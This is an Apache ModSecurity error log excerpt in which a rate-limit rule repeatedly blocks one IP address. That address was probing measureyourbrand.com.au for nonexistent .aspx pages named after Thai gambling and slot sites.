[Fri Mar 06 13:39:51.003938 2026] [:error] [pid 8656:tid 8825] [client 145.239.69.106:33236] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aapop5PxTG9Ff1TtP6NmYQAAAI8"]
[Fri Mar 06 13:39:53.507157 2026] [:error] [pid 8656:tid 8815] [client 145.239.69.106:43436] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aapoqZPxTG9Ff1TtP6NmbAAAAIU"]
[Fri Mar 06 13:39:56.043207 2026] [:error] [pid 8945:tid 8975] [client 145.239.69.106:43446] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaporAttiLGNg13nMzLi1QAAAMg"]
[Fri Mar 06 13:39:58.611327 2026] [:error] [pid 8945:tid 8982] [client 145.239.69.106:43460] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaporgttiLGNg13nMzLi8gAAAM8"]
[Fri Mar 06 13:40:01.098217 2026] [:error] [pid 8648:tid 8763] [client 145.239.69.106:43462] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaposUhAk6X-gF6akMR1lAAAABA"]
[Fri Mar 06 13:40:03.644700 2026] [:error] [pid 8656:tid 8825] [client 145.239.69.106:57164] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aapos5PxTG9Ff1TtP6NmhQAAAI8"]
[Fri Mar 06 13:40:06.072124 2026] [:error] [pid 8656:tid 8811] [client 145.239.69.106:57180] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aapotpPxTG9Ff1TtP6NmjwAAAIE"]
[Fri Mar 06 13:40:08.560461 2026] [:error] [pid 8656:tid 8824] [client 145.239.69.106:57192] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aapouJPxTG9Ff1TtP6NmnQAAAI4"]
[Fri Mar 06 13:40:11.095038 2026] [:error] [pid 8945:tid 8989] [client 145.239.69.106:57198] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aapouwttiLGNg13nMzLjcwAAANY"]
[Fri Mar 06 13:40:13.545620 2026] [:error] [pid 8648:tid 8753] [client 145.239.69.106:36684] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aapovUhAk6X-gF6akMR1mgAAAAY"]
[Fri Mar 06 13:40:16.092837 2026] [:error] [pid 8945:tid 8977] [client 145.239.69.106:36694] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aapowAttiLGNg13nMzLjfQAAAMo"]
[Fri Mar 06 13:40:18.629198 2026] [:error] [pid 44628:tid 44656] [client 145.239.69.106:36696] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aapowoZtiq7T54_AYvLS0AAAAUs"]
[Fri Mar 06 13:40:21.109647 2026] [:error] [pid 8945:tid 8989] [client 145.239.69.106:36712] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aapoxQttiLGNg13nMzLjigAAANY"]
[Fri Mar 06 13:40:23.618789 2026] [:error] [pid 8656:tid 8816] [client 145.239.69.106:46616] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aapox5PxTG9Ff1TtP6NmywAAAIY"]
[Fri Mar 06 13:40:26.142337 2026] [:error] [pid 8945:tid 8982] [client 145.239.69.106:46630] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aapoygttiLGNg13nMzLjkgAAAM8"]
[Fri Mar 06 13:40:28.662985 2026] [:error] [pid 8656:tid 8827] [client 145.239.69.106:46634] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aapozJPxTG9Ff1TtP6Nm3wAAAJE"]
[Fri Mar 06 13:40:31.295447 2026] [:error] [pid 8656:tid 8811] [client 145.239.69.106:46646] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aapoz5PxTG9Ff1TtP6NnHwAAAIE"]
[Fri Mar 06 13:40:33.804889 2026] [:error] [pid 16140:tid 16156] [client 145.239.69.106:58494] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aapo0ZZVpEeGhAeSpv0i2gAAAQ4"]
[Fri Mar 06 13:40:36.322270 2026] [:error] [pid 8648:tid 8771] [client 145.239.69.106:58506] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aapo1EhAk6X-gF6akMR1qgAAABg"]
[Fri Mar 06 13:40:38.809343 2026] [:error] [pid 8945:tid 8971] [client 145.239.69.106:58522] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aapo1gttiLGNg13nMzLj0wAAAMQ"]
[Fri Mar 06 13:40:41.292669 2026] [:error] [pid 8656:tid 8811] [client 145.239.69.106:58526] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aapo2ZPxTG9Ff1TtP6NnUgAAAIE"]
[Fri Mar 06 13:40:43.723362 2026] [:error] [pid 8656:tid 8814] [client 145.239.69.106:51334] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aapo25PxTG9Ff1TtP6NnXgAAAIQ"]
[Fri Mar 06 13:41:05.381266 2026] [:error] [pid 44628:tid 44656] [client 145.239.69.106:51340] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aapo8YZtiq7T54_AYvLTRwAAAUs"]
[Fri Mar 06 13:41:07.733548 2026] [:error] [pid 16140:tid 16148] [client 145.239.69.106:50430] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aapo85ZVpEeGhAeSpv0jCgAAAQY"]
[Fri Mar 06 13:41:10.268610 2026] [:error] [pid 8656:tid 8821] [client 145.239.69.106:50446] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aapo9pPxTG9Ff1TtP6NnvAAAAIs"]
[Fri Mar 06 13:41:12.604275 2026] [:error] [pid 8652:tid 8787] [client 145.239.69.106:52182] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aapo-NYc_V4I9STsZ9BF1AAAAEQ"]
[Fri Mar 06 13:41:15.159331 2026] [:error] [pid 16140:tid 16154] [client 145.239.69.106:52194] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aapo-5ZVpEeGhAeSpv0jFgAAAQw"]
[Fri Mar 06 13:41:17.586139 2026] [:error] [pid 16140:tid 16145] [client 145.239.69.106:52204] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aapo_ZZVpEeGhAeSpv0jGwAAAQM"]
[Fri Mar 06 13:41:20.120654 2026] [:error] [pid 8656:tid 8828] [client 145.239.69.106:52206] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aappAJPxTG9Ff1TtP6Nn1wAAAJI"]
[Fri Mar 06 13:41:22.588785 2026] [:error] [pid 8656:tid 8828] [client 145.239.69.106:54284] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aappApPxTG9Ff1TtP6Nn4gAAAJI"]
[Fri Mar 06 13:41:25.146406 2026] [:error] [pid 8945:tid 8971] [client 145.239.69.106:54288] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aappBQttiLGNg13nMzLkbwAAAMQ"]
[Fri Mar 06 13:41:27.646987 2026] [:error] [pid 8656:tid 8818] [client 145.239.69.106:54296] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aappB5PxTG9Ff1TtP6Nn9gAAAIg"]
[Fri Mar 06 13:41:30.183843 2026] [:error] [pid 8656:tid 8816] [client 145.239.69.106:54302] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aappCpPxTG9Ff1TtP6Nn_QAAAIY"]
[Fri Mar 06 13:41:32.634636 2026] [:error] [pid 8945:tid 8974] [client 145.239.69.106:46422] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aappDAttiLGNg13nMzLkdwAAAMc"]
[Fri Mar 06 13:41:35.032922 2026] [:error] [pid 8656:tid 8817] [client 145.239.69.106:46438] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aappD5PxTG9Ff1TtP6NoDQAAAIc"]
[Fri Mar 06 13:41:37.487071 2026] [:error] [pid 8656:tid 8811] [client 145.239.69.106:46442] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aappEZPxTG9Ff1TtP6NoFgAAAIE"]
[Fri Mar 06 13:41:39.980678 2026] [:error] [pid 8656:tid 8826] [client 145.239.69.106:46444] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aappE5PxTG9Ff1TtP6NoHwAAAJA"]
[Fri Mar 06 13:41:42.539367 2026] [:error] [pid 8648:tid 8747] [client 145.239.69.106:50780] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aappFkhAk6X-gF6akMR1wwAAAAA"]
[Fri Mar 06 13:41:44.937718 2026] [:error] [pid 8648:tid 8748] [client 145.239.69.106:50782] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aappGEhAk6X-gF6akMR1xQAAAAE"]
[Fri Mar 06 13:41:47.569559 2026] [:error] [pid 8652:tid 8784] [client 145.239.69.106:50786] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aappG9Yc_V4I9STsZ9BF8gAAAEE"]
[Fri Mar 06 13:41:50.007952 2026] [:error] [pid 8656:tid 8830] [client 145.239.69.106:50794] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aappHpPxTG9Ff1TtP6NoQgAAAJQ"]
[Fri Mar 06 13:41:52.789773 2026] [:error] [pid 8656:tid 8818] [client 145.239.69.106:45168] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aappIJPxTG9Ff1TtP6NoTgAAAIg"]
[Fri Mar 06 13:41:55.313841 2026] [:error] [pid 44628:tid 44647] [client 145.239.69.106:45172] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aappI4Ztiq7T54_AYvLTYAAAAUI"]
[Fri Mar 06 13:41:57.695237 2026] [:error] [pid 8945:tid 8987] [client 145.239.69.106:45178] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aappJQttiLGNg13nMzLkjgAAANQ"]
[Fri Mar 06 13:42:00.237373 2026] [:error] [pid 8656:tid 8813] [client 145.239.69.106:45184] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aappKJPxTG9Ff1TtP6NoagAAAIM"]
[Fri Mar 06 13:42:02.705472 2026] [:error] [pid 8656:tid 8827] [client 145.239.69.106:39812] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aappKpPxTG9Ff1TtP6NocQAAAJE"]
[Fri Mar 06 13:42:23.652657 2026] [:error] [pid 16140:tid 16161] [client 145.239.69.106:39824] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aappP5ZVpEeGhAeSpv0jWAAAARM"]
[Fri Mar 06 13:42:26.128892 2026] [:error] [pid 8945:tid 8972] [client 145.239.69.106:57854] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aappQgttiLGNg13nMzLkzgAAAMU"]
[Fri Mar 06 13:42:28.617276 2026] [:error] [pid 16140:tid 16153] [client 145.239.69.106:57858] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aappRJZVpEeGhAeSpv0jXAAAAQs"]
[Fri Mar 06 13:42:31.089886 2026] [:error] [pid 8656:tid 8814] [client 145.239.69.106:57860] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aappR5PxTG9Ff1TtP6NpYAAAAIQ"]
[Fri Mar 06 13:42:33.497677 2026] [:error] [pid 8656:tid 8834] [client 145.239.69.106:57708] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aappSZPxTG9Ff1TtP6NpawAAAJg"]
[Fri Mar 06 13:42:36.043365 2026] [:error] [pid 8648:tid 8747] [client 145.239.69.106:57720] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aappTEhAk6X-gF6akMR2EQAAAAA"]
[Fri Mar 06 13:42:38.626152 2026] [:error] [pid 16140:tid 16144] [client 145.239.69.106:57734] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aappTpZVpEeGhAeSpv0jYgAAAQI"]
[Fri Mar 06 13:42:41.122932 2026] [:error] [pid 16140:tid 16162] [client 145.239.69.106:57746] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aappUZZVpEeGhAeSpv0jcgAAARQ"]
[Fri Mar 06 13:42:43.656793 2026] [:error] [pid 8656:tid 8814] [client 145.239.69.106:37646] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aappU5PxTG9Ff1TtP6NphQAAAIQ"]
